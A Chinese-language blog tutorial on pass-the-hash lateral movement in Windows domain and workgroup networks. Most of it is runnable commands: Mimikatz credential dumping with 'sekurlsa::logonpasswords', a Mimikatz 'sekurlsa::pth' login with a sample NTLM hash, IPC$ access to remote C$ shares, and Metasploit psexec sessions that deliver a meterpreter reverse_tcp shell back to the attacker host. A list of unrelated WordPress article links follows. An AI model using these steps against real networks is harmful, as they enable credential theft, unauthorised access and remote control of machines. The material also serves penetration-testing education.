前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >内网渗透 - 哈希传递攻击

内网渗透 - 哈希传递攻击

作者头像
LuckySec
发布于 2022-11-02 07:22:50
发布于 2022-11-02 07:22:50
87500
代码可运行
举报
文章被收录于专栏:LuckySec网络安全LuckySec网络安全
运行总次数:0
代码可运行

前言

在内网渗透过程中,当获取到某个管理员用户的密码 hash 值却无法解密时,可以通过哈希传递攻击(Pass The Hash)对内网其他机器进行横向渗透。

0x01 哈希传递攻击

哈希传递攻击(Pass The Hash)是基于 NTLM 认证缺陷的一种攻击方式,攻击者可以利用用户的密码哈希值来进行 NTLM 认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击的手段登录到内网中的其他计算机。

通过哈希传递攻击,攻击者不需要花时间破解密码哈希值来获取明文密码。尤其是在 Windows Server 2012 R2 及之后的版本的操作系统中,默认在内存中不会记录明文密码,因此攻击者往往会使用工具将哈希值传递到其他计算机中进行权限验证,实现对其他远程计算机的控制。

工作组环境:

  • Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
  • Windows Vista 之后的机器,只能是 Administrator (SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非Administrator)也不能使用哈希传递攻击,否则会提示拒绝访问。

域环境:

  • 只有域管理员组内用户(可以是域管理员组内非 Administrator 用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域环境内任何一台机器。
  • SID 为 500 的账号登录之后以完全管理特权(“完全令牌模式”)运行所有应用程序,管理员组的非 SID 500 账户登录之后是没有过 UAC 的,所有特权都被移除。在一些计算机中,SID为500的账号即使将默认 Administrator 账号改名,也不会影响SID的值。

0x02 Mimikatz

假设你获取到了一台域管理员组内用户登录过的一台机器,并且获取到了这台机器的本地管理员的权限,那么你就可以使用 Mimikatz 工具同时抓取到本地管理员以及域管理员组内用户的密码 NTLM Hash 值。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# 执行 Mimikatz 命令抓取本地密码并保存结果到 Mimikatz.log 文件中
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
2.1 域环境

首先使用 Mimikatz 工具获取域管理员组内用户及密码 NTLM Hash 如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
域环境:LUCKYSEC.CN
域管理员组内用户:LUCKYSEC\admins
域管理员组内用户NTLM hash值:518b98ad4178a53695dc997aa02d455c

由于 Mimikatz 需要管理员权限运行,所以前提需要获取域内任意一台机器的本地管理员权限运行 CMD,然后使用 Mimikatz 对目标机器(10.10.10.10)进行 hash 传递攻击:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# hash传递攻击 Mimikatz 命令格式:
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:域 /ntlm:xxxxxx"
# 使用例子:
mimikatz "privilege::debug" "sekurlsa::pth /user:admins /domain:LUCKYSEC.CN /ntlm:518b98ad4178a53695dc997aa02d455c"

# 建立IPC$连接
net use \\10.10.10.10
# 列出目标机器的C盘文件
dir \\10.10.10.10\c$    

执行成功后,会弹出一个新的CMD命令行窗口,在此窗口中即可与目标机器建立 IPC$ 连接成功。

有时候 dir 后面跟 IP 地址会提示用户名或密码错误,可以通过输入目标的主机名解决此问题:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
dir \\AD-2016\c$
2.2 工作组环境

首先使用 Mimikatz 工具获取域管理员组内用户及密码 NTLM Hash 如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
获取本地工作组管理员:Administrator
获取本地工作组管理员密码 NTLM Hash:518b98ad4178a53695dc997aa02d455c

假设目标机器(10.10.10.20)上同样存在 Administrator 密码与攻击者拿下的主机管理员密码相同,那么这两台机器的 NTLM hash 也是相同的,因此可以进行 hash 传递攻击。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# hash传递攻击 Mimikatz 命令格式:
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:xxxxxx"

# 使用例子:
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:10.10.10.20 /ntlm:518b98ad4178a53695dc997aa02d455c"

# 建立IPC$连接
net use \\10.10.10.20
# 列出目标机器的C盘文件
dir \\10.10.10.20\c$

0x03 MSF

首先是通过常规的反弹 shell 操作到msf上,通过 run post/windows/gather/hashdump 获取到 LM:NTLM hash 值

3.1 域环境

攻击前提条件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
域环境:LUCKYSEC.CN
域管理员组内用户:admins
域管理员组内用户 LM:NTLM hash 值:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c

hash传递攻击:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf6 exploit(windows/smb/psexec) > use  exploit/windows/smb/psexec
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.10
rhost => 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbuser admins
smbuser => admins
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
msf6 exploit(windows/smb/psexec) > exploit
3.2 工作组环境

攻击前提条件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
获取本地工作组管理员:Administrator
获取本地工作组管理员密码 LM:NTLM hash 值:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c

hash 传递攻击:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf6 > use  exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.20
rhost => 10.10.10.20
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
msf6 exploit(windows/smb/psexec) > exploit

参考文章

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-06-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
WordPress自动在uploads文件夹内创建子文件夹
在开发主题或者插件的时候,经常要创建一个自定义的文件夹,我经常使用的一种方法就是在插件或主题安装的时候,先让程序自动到某个文件夹下先检测这个文件夹是否存在,如果不存在就自动创建一个文件夹。 下面的代码演示了如何在uploads文件夹中自动地创建一个自定义文件夹: function myplugin_activate() { $upload = wp_upload_dir(); $upload_dir = $upload['basedir']; $upload_dir = $upload_dir . '/my
Jeff
2018/01/19
2K0
WordPress插件开发,从入门到精通。
WordPress插件开发手册:https://developer.wordpress.org/plugins/
房东的狗丶
2023/02/17
1.2K0
WordPress插件开发,从入门到精通。
WordPress插件开发教程一:创建、停用、删除插件
在wp-content/plugins创建一个文件夹,命名最好加前缀,WordPress官方现在应该收录了有五万多的插件,所以要起一个特殊的名称,防止插件和别人重名
沈唁
2019/05/21
9340
在WordPress 的文章或页面中运行PHP 代码
如果你在编辑器中输入PHP 代码,默认的话WordPress 不会为你执行这段代码的——只会文本方式输出。Tutsplus 上有一篇文章以插件的方式告知我们实现在WordPress 的文章或页面中运行PHP 代码的方法,下面介绍下。 原理小介绍 懂php 的都知道,PHP中载入其他PHP文件可以用include() 或者 require() 函数,因此为了实现在WordPress 的文章或页面中运行PHP 代码,我们可以将打算运行的代码写入一个额外的PHP 文件中,放在某个目录下,通过某种机制调用。英文原文
Jeff
2018/01/19
5.2K0
在WordPress 的文章或页面中运行PHP 代码
WordPress 路径相关函数总结(一):站点路径相关函数
在开发WordPress 相关产品(主题、插件)的时候,常常需要通过某些函数获取路径,包括URL路径和服务器路径。比如说在主题或插件中引用js或css文件需要URL地址,而include一些文件时则需要服务器路径。在WordPress中,不能认定wp-content目录一定位于/wp-content下,也不能认为admin的地址一定是/wp-admin,为了避免错误,了解WordPress中与获取路径相关的函数很重要。 站点路径相关函数,以下以本站 http://devework.com 为例子: home
Jeff
2018/01/19
9820
获取 WordPress 路径和 URl 地址的函数大全
为了 WordPress 更快的运行直接写了绝对地址,其实是不好的,如果修改了 WordPress 程序的地址,编写的这个插件或者是主题就只有你自己用,别人无法使用,为了避免错误,了解 WordPress 中与获取路径相关的函数很重要。
Yangsh888
2022/03/28
2.2K0
WordPress 技巧:自定义上传路径和生成文件的 URL 地址
WordPress 3.5 一个最大的改变就是更加简洁化,把一些用户不常使用的设置去掉或者隐藏了,比如后台的媒体(Media)设置页面隐藏上传路径(upload_path)和文件 URL 地址(upload_url_path)的设定就被隐藏了。如果你还要进行设置这两个选项,现在只能在 options.php 中进行设置,或者使用 UPLOADS 常量,也可以使用 upload_dir 这个 filter。下面分别介绍下这三种方法:
Denis
2023/04/14
1.6K0
WordPress 技巧:自定义上传路径和生成文件的 URL 地址
WordPress插件设计
如果是Php开发的同学,或者对博客和CMS有一定了解的同学都知道这个,以下是百度的解释:
心平气和
2020/09/11
9220
WordPress插件设计
WordPress Hack 技巧
下面说的 WordPress 技巧仅仅适合自己安装的 WordPress,并且版本在 2.6 以上。
Denis
2023/04/13
4040
每天一个WordPress文件:wp-config.php
wp-config.php 是 WordPress 用来保存配置信息的地方,包含网站的基础配置详细信息(如数据库连接信息),它是 WordPress 最重要的文件之一,该文件位于 WordPress 文件目录的根目录中。
Denis
2023/04/15
8950
WordPress二次开发之插件界面
上一篇文章介绍了WordPress后台的常用样式,这次给大家分享的是利用WordPress开发一个插件界面 效果图如下
切图仔
2022/09/14
6700
WordPress二次开发之插件界面
大胆尝试 | 不懂php用ai-kimi花2小时写一个wordpress网站的采集微信文章的插件
一个有趣的尝试,看到一些微信文章,想要发布到自己的wordpress网站,如果不会php语言,那ai帮助自己一步步来实现,是否可以呢?下面是实现的全过程。
富泰科
2024/04/16
6950
大胆尝试 | 不懂php用ai-kimi花2小时写一个wordpress网站的采集微信文章的插件
WordPress技巧:自定义默认上传路径
其实wordpress还隐藏着一个“全局选项”,登录后台后,在地址栏输入“http://你的域名/wp-admin/options.php”,即可打开这个神秘的“全局选项。”利用查找功能(Ctrl+F),找到“upload_path”选项,修改成你的地址,然后拉到最下边点击“保存更改”即可。
陌涛
2020/06/12
2.7K0
纯代码实现WordPress文章远程图片(外链)自动本地化
其实有很多插件是可以实现 wordpress 远程图片本地化的,但是有可能插件太多了,会影响网站的性能或者拖累服务器,降低网站的运行速度。不过如果你是代码控,不喜欢用插件,那么下面这段“wordpress 远程图片自动本地化“的代码也许适合你,复制下面的代码,然后粘贴到你当前 WordPress 主题的模版函数(functions.php)文件中保存即可:
于飞云计算
2019/07/08
1.8K0
获取Bing图片作为WordPress等网站首页背景图
必应搜索的图片是什么这里就不说了,昨天渣渣龙在群里艾特要我把Bing的每日一图作为网站背景图
沈唁
2019/05/22
1.3K0
获取Bing图片作为WordPress等网站首页背景图
为WordPress添加自定义设置上传头像功能
虽热这个功能使用场景和频率都非常低,但在有时候还是需要WordPress来显示头像的,但是 zuanmang.net并不是每个人都有注册设置Gravatar头像。所以便需要我们手动为WordPress添加后台可自定义上传头像的功能,如下:
AlexTao
2020/08/05
1.5K0
WordPress 技巧:自定义 WordPress 表情图片路径
很多同学在使用 WordPress 表情的时候,喜欢把 WordPress 表情改成自己喜欢的表情,但是每次都得到 WordPress 安装目录下 /wp-includes/images/smilies/ 去替换,并且每次 WordPress 一升级,还得再干一次,非常不方便,其实可以通过简单的 WordPress 插件 解决这个问题:
Denis
2023/04/15
3820
WordPress 常量概述
我们知道 WordPress 有很多预定义的常量,我们开发的时候,如果你是 WordPress 开发者,会经常用到这些常量,为了方便 WordPress 开发者的使用,WP Engineer 把所有的 WordPress 常用的常量都罗列出来:
Denis
2023/04/15
1.2K0
如何开发一个简单的WordPress 插件
WordPress 是一个强大的内容管理系统(CMS),其灵活性和可扩展性使得它成为全球最受欢迎的网站构建平台之一。WordPress 插件是扩展 WordPress 功能的主要方式,开发一个插件不仅可以满足特定需求,还可以为其他用户提供便利。本文将详细介绍 WordPress 插件开发的各个方面,包括插件的基本结构、开发流程、常用 API、最佳实践等,帮助开发者从零开始掌握 WordPress 插件开发。
flyskyocean
2024/11/12
8250
WordPress优化缓存插件WP Super Cache安装与设置
与 WP-Cache 相同,它也是一款 WordPress “静态化”插件,可以通过缓存来提高大负载下 WP 的性能。WP Super Cache 相比 WP-Cache 最大的改进,在于加入了 Super Cache 这一环节。部分页面会根据一定的规则被缓存为 SuperCache,而这个 SuperCache 实质上就是页面本身。通过 Apache mod_rewrite 重定向直接访问这些静态文件,理论上可以获得更好的性能。
zhaoJian.Net
2023/02/24
7830
推荐阅读
相关推荐
WordPress自动在uploads文件夹内创建子文件夹
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档